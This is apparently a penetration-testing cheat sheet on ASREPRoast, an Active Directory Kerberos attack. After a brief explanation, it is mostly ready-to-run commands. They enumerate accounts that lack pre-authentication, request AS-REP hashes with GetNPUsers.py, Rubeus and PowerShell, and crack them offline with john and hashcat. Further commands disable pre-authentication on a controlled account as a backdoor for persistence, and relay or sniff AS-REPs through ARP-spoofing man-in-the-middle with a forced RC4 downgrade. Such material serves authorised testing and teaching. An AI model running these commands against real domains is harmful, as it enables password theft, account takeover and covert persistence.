ASREPRoast

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ASREPRoast

ASREPRoast is a security attack that exploits users who lack the Kerberos pre-authentication required attribute. Essentially, this vulnerability allows attackers to request authentication for a user from the Domain Controller (DC) without needing the user's password. The DC then responds with a message encrypted with the user's password-derived key, which attackers can attempt to crack offline to discover the user's password.

The main requirements for this attack are:

Lack of Kerberos pre-authentication: Target users must not have this security feature enabled.
Connection to the Domain Controller (DC): Attackers need access to the DC to send requests and receive encrypted messages.
Optional domain account: Having a domain account allows attackers to more efficiently identify vulnerable users through LDAP queries. Without such an account, attackers must guess usernames.

Enumerating vulnerable users (need domain credentials)

Using Windows

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView

Using Linux

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Request AS_REP message

Using Linux

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

Using Windows

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.

Cracking

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistence

Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):

Using Windows

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Using Linux

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH

ASREProast without credentials

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

References

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Last updated 7 months ago